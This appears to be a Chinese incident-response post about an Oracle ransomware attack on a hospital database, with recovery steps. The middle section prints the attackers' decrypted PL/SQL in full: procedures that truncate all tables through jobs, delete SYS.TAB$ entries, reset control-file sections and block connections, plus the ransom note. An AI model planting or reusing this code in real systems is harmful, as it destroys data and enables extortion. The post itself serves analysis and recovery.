天凌晨4:50节点公司400转过来的求助电话,来自广西某个医院的客户;电话中说数据库被攻击了,业务完全停止,言谈之中表现的时分地迫切和着急。
首先我们来看看数据库的日志是什么?
? 1 2 3 4 5 6 7 8 9 10 11 12 13 Sat Feb 11 23 : 32 : 57 2017 Errors in file D : \APP\ADMINISTRATOR\diag\rdbms\xxx\xxx\trace\xxx_ora_ 17664. trc : ORA -00604 : 递归 SQL 级别 1 出现错误 ORA -20313 : 你的数据库已被SQL RUSH Team锁死 发送 5 个比特币到这个地址 166 xk 1 FXMB 2 g 8 JxBVF 5 T 4 Aw 1 Z 5 JaZ 6 vrSE ( 大小写一致 ) 之后把你的Oracle SID邮寄地址 sqlrush@mail.com 我们将让你知道如何解锁你的数据库 Hi buddy , your database was hacked by SQL RUSH Team , send 5 bitcoin to address 166 xk 1 FXMB 2 g 8 JxBVF 5 T 4 Aw 1 Z 5 JaZ 6 vrSE ( case sensitive ) , after that send your Oracle SID to mail address sqlrush@mail.com , we will let you know how to unlock your database. ORA -06512 : 在 "PORTAL_HIS.DBMS_SYSTEM_INTERNAL " , line 15 ORA -06512 : 在 line 2 Sat Feb 11 23 : 32 : 57 2017 Errors in file D : \APP\ADMINISTRATOR\diag\rdbms\xxx\xxx\trace\xxx_ora_ 17672. trc : ORA -00604 : 递归 SQL 级别 1 出现错误 ORA -20313 : 你的数据库已被SQL RUSH Team锁死 发送 5 个比特币到这个地址 166 xk 1 FXMB 2 g 8 JxBVF 5 T 4 Aw 1 Z 5 JaZ 6 vrSE ( 大小写一致 ) 之后把你的Oracle SID邮寄地址 sqlrush@mail.com 我们将让你知道如何解锁你的数据库 Hi buddy , your database was hacked by SQL RUSH Team , send 5 bitcoin to address 166 xk 1 FXMB 2 g 8 JxBVF 5 T 4 Aw 1 Z 5 JaZ 6 vrSE ( case sensitive ) , after that send your Oracle SID to mail address sqlrush@mail.com , we will let you know how to unlock your database. ORA -06512 : 在 "PORTAL_HIS.DBMS_SYSTEM_INTERNAL " , line 15 ORA -06512 : 在 line 2 Sat Feb 11 23 : 33 : 13 2017大家不难看出,很明显跟2016年11月份爆发的比特币攻击案例如出一辙。这又是sql rush Team干的好事。很显然,我们去年大力宣传的比特币攻击事件,仍然被很多企业客户所忽视,最终出现了今天的悲剧。言归正转,如何处理这个问题呢?
这里通过日志,直接查询最近有过ddl操作的对象,发现果然跟alert log完全一样。如下所说:
我们不难看出,上述6个对象,可能是问题的关键。那么我们就来看看上面6个对象的内容是什么。首先我们来看下trigger:
很明显,这是hacker创建的恶意trigger。遗憾的看上去名字是这样,具体查不到内容?既然如此,我们先来看看存储过程,发现3个存储过程都是加密的。通过解密之后,发现代码如下:
? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 PROCEDURE "DBMS_CORE_INTERNAL " IS V_JOB NUMBER; DATE 1 INT : = 10 ; STAT VARCHAR 2 ( 2000 ) ; V_MODULE VARCHAR 2 ( 2000 ) ; E 1 EXCEPTION; PRAGMA EXCEPTION_INIT ( E 1 , -20315 ) ; CURSOR TLIST IS SELECT * FROM USER_TABLES WHERE TABLE_NAME NOT LIKE '%$%' AND TABLE_NAME NOT LIKE '%ORACHK%' AND CLUSTER_NAME IS NULL; BEGIN SELECT NVL ( TO_CHAR ( SYSDATE - MIN ( LAST_ANALYZED ) ) , 0 ) INTO DATE 1 FROM ALL_TABLES WHERE TABLESPACE_NAME NOT IN ( 'SYSTEM' , 'SYSAUX' , 'EXAMPLE' ) ; IF ( DATE 1 > = 1200 ) THEN FOR I IN TLIST LOOP DBMS_OUTPUT.PUT_LINE ( 'table_name is ' ||I.TABLE_NAME ) ; STAT : = 'truncate table '||USER||'.'||I.TABLE_NAME; DBMS_JOB.SUBMIT ( V_JOB , 'DBMS_STANDARD_FUN 9 ( ''' || STAT || ''' ) ;' , SYSDATE ) ; COMMIT; END LOOP; END IF; IF ( UPPER ( SYS_CONTEXT ( 'USERENV' , 'MODULE' ) ) ! = 'C 89239. EXE' ) THEN RAISE E 1 ; END IF; EXCEPTION WHEN E 1 THEN RAISE_APPLICATION_ERROR ( -20315 , '你的数据库已被SQL RUSH Team锁死 发送 5 个比特币到这个地址 166 xk 1 FXMB 2 g 8 JxBVF 5 T 4 Aw 1 Z 5 JaZ 6 vrSE ( 大小写一致 ) 之后把你的Oracle SID邮寄地址 sqlrush@mail.com 我们将让你知道如何解锁你的数据库 Hi buddy , your database was hacked by SQL RUSH Team , send 5 bitcoin to address 166 xk 1 FXMB 2 g 8 JxBVF 5 T 4 Aw 1 Z 5 JaZ 6 vrSE ( case sensitive ) , after that send your Oracle SID to mail address sqlrush@mail.com , we will let you know how to unlock your database.' ) ; WHEN OTHERS THEN RAISE_APPLICATION_ERROR ( -20315 , '你的数据库已被SQL RUSH Team锁死 发送 5 个比特币到这个地址 166 xk 1 FXMB 2 g 8 JxBVF 5 T 4 Aw 1 Z 5 JaZ 6 vrSE ( 大小写一致 ) 之后把你的Oracle SID邮寄地址 sqlrush@mail.com 我们将让你知道如何解锁你的数据库 Hi buddy , your database was hacked by SQL RUSH Team , send 5 bitcoin to address 166 xk 1 FXMB 2 g 8 JxBVF 5 T 4 Aw 1 Z 5 JaZ 6 vrSE ( case sensitive ) , after that send your Oracle SID to mail address sqlrush@mail.com , we will let you know how to unlock your database.' ) ; END; PROCEDURE "DBMS_SUPPORT_INTERNAL " IS DATE 1 INT : = 10 ; E 1 EXCEPTION; PRAGMA EXCEPTION_INIT ( E 1 , -20312 ) ; BEGIN SELECT NVL ( TO_CHAR ( SYSDATE - CREATED ) , 0 ) INTO DATE 1 FROM V$DATABASE; IF ( DATE 1 > = 1200 ) THEN EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR ( SYS_GUID , 10 ) ||' tablespace system as select * from sys.tab$'; DELETE SYS.TAB$ WHERE DATAOBJ # IN (SELECT DATAOBJ# FROM SYS.OBJ$ WHERE OWNER# NOT IN (0,38)) ; COMMIT; EXECUTE IMMEDIATE 'alter system checkpoint'; SYS.DBMS_BACKUP_RESTORE.RESETCFILESECTION ( 11 ) ; SYS.DBMS_BACKUP_RESTORE.RESETCFILESECTION ( 12 ) ; SYS.DBMS_BACKUP_RESTORE.RESETCFILESECTION ( 13 ) ; SYS.DBMS_BACKUP_RESTORE.RESETCFILESECTION ( 14 ) ; FOR I IN 1. . 2046 LOOP DBMS_SYSTEM.KSDWRT ( 2 , 'Hi buddy , your database was hacked by SQL RUSH Team , send 5 bitcoin to address 166 xk 1 FXMB 2 g 8 JxBVF 5 T 4 Aw 1 Z 5 JaZ 6 vrSE ( case sensitive ) , after that send your Oracle SID to mail address sqlrush@mail.com , we will let you know how to unlock your database.' ) ; DBMS_SYSTEM.KSDWRT ( 2 , '你的数据库已被SQL RUSH Team锁死 发送 5 个比特币到这个地址 166 xk 1 FXMB 2 g 8 JxBVF 5 T 4 Aw 1 Z 5 JaZ 6 vrSE ( 大小写一致 ) 之后把你的Oracle SID邮寄地址 sqlrush@mail.com 我们将让你知道如何解锁你的数据库 ' ) ; END LOOP; RAISE E 1 ; END IF; EXCEPTION WHEN E 1 THEN RAISE_APPLICATION_ERROR ( -20312 , '你的数据库已被SQL RUSH Team锁死 发送 5 个比特币到这个地址 166 xk 1 FXMB 2 g 8 JxBVF 5 T 4 Aw 1 Z 5 JaZ 6 vrSE ( 大小写一致 ) 之后把你的Oracle SID邮寄地址 sqlrush@mail.com 我们将让你知道如何解锁你的数据库 Hi buddy , your database was hacked by SQL RUSH Team , send 5 bitcoin to address 166 xk 1 FXMB 2 g 8 JxBVF 5 T 4 Aw 1 Z 5 JaZ 6 vrSE ( case sensitive ) , after that send your Oracle SID to mail address sqlrush@mail.com , we will let you know how to unlock your database.' ) ; WHEN OTHERS THEN NULL; END; PROCEDURE "DBMS_SYSTEM_INTERNAL " IS DATE 1 INT : = 10 ; E 1 EXCEPTION; PRAGMA EXCEPTION_INIT ( E 1 , -20313 ) ; BEGIN SELECT NVL ( TO_CHAR ( SYSDATE - MIN ( LAST_ANALYZED ) ) , 0 ) INTO DATE 1 FROM ALL_TABLES WHERE TABLESPACE_NAME NOT IN ( 'SYSTEM' , 'SYSAUX' , 'EXAMPLE' ) ; IF ( DATE 1 > = 1200 ) THEN IF ( UPPER ( SYS_CONTEXT ( 'USERENV' , 'MODULE' ) ) ! = 'C 89239. EXE' ) THEN RAISE E 1 ; END IF; END IF; EXCEPTION WHEN E 1 THEN RAISE_APPLICATION_ERROR ( -20313 , '你的数据库已被SQL RUSH Team锁死 发送 5 个比特币到这个地址 166 xk 1 FXMB 2 g 8 JxBVF 5 T 4 Aw 1 Z 5 JaZ 6 vrSE ( 大小写一致 ) 之后把你的Oracle SID邮寄地址 sqlrush@mail.com 我们将让你知道如何解锁你的数据库 Hi buddy , your database was hacked by SQL RUSH Team , send 5 bitcoin to address 166 xk 1 FXMB 2 g 8 JxBVF 5 T 4 Aw 1 Z 5 JaZ 6 vrSE ( case sensitive ) , after that send your Oracle SID to mail address sqlrush@mail.com , we will let you know how to unlock your database.' ) ; WHEN OTHERS THEN NULL; END;我们可以看出,SQL rush Team还是很熟悉Oracle的,对于dbms包的利用,比我们都熟悉呀!
通过看上述解密之后的代码,才恍然大悟,Hacker居然是在Trigger和存储过程名称后面加了9个空格;注意是9个空格,一个都不能少。
我们再仔细阅读前面2段代码,可以看出这是比较坑爹一个Heacker。通过轮寻会不断产生truncate table 的Job,而且做这些操作之前会通过表的分析时间来判断数据库的运行时间,如果超过1200天,则爆发这个勒索行为(因为长时间运行,说明数据库是有价值的)。
最后一个存储过程会限制程序等连接,导致客户业务无法访问数据库。
了解了上述3个存储过程之后,解决方法就不难了,大致如下:
1、alter system set job_queue_process=0 scope=both ;并重启db(为什么要重启呢?因为此时数据库肯定已经产生了大量的library cache lock,无法操作)。
2、drop上述trigger 和存储过程:
? 1 2 3 4 5 6 7 drop trigger portal_his. "DBMS_CORE_INTERNAL " ; drop trigger portal_his. "DBMS_SUPPORT_INTERNAL " ; drop trigger portal_his. "DBMS_SYSTEM_INTERNAL " ; drop PROCEDURE portal_his. "DBMS_CORE_INTERNAL " ; drop PROCEDURE portal_his. "DBMS_SUPPORT_INTERNAL " ; drop PROCEDURE portal_his. "DBMS_SYSTEM_INTERNAL " ;3、删除Hacker创建的大量Job
经过检查发现客户的业务用户portal_his下面被创建了14万个Job。由于内容实在是太多了,因此简单拼一个SQL来删除有问题的Job。
? 1 2 3 select 'exec dbms_ijob. remove ( '||job||' ) ;' from dba_jobs where schema_user = 'PORTAL_HIS' and what like '%truncate%';4、确认被truncate的表。
最后恢复之后,客户反映业务基本上正常,但是仍然有部分业务数据看不到,详查之下发现有部分表的数据看不到了?但是客户也说不上来,到底哪些表有问题?那么怎么判断呢?
其实很简单,通过dba_objects.last_ddl_Time来判断该业务用户下最近被ddl操作的表有哪些即可,最后发现有68个表。通过ODU恢复这部分被truncate的表数据即可。
请大家仔细检查你的环境,不要再出现类似的问题,为自己或公司造成损失!如果遇到此类问题,请联系我们,获取专业技术支持!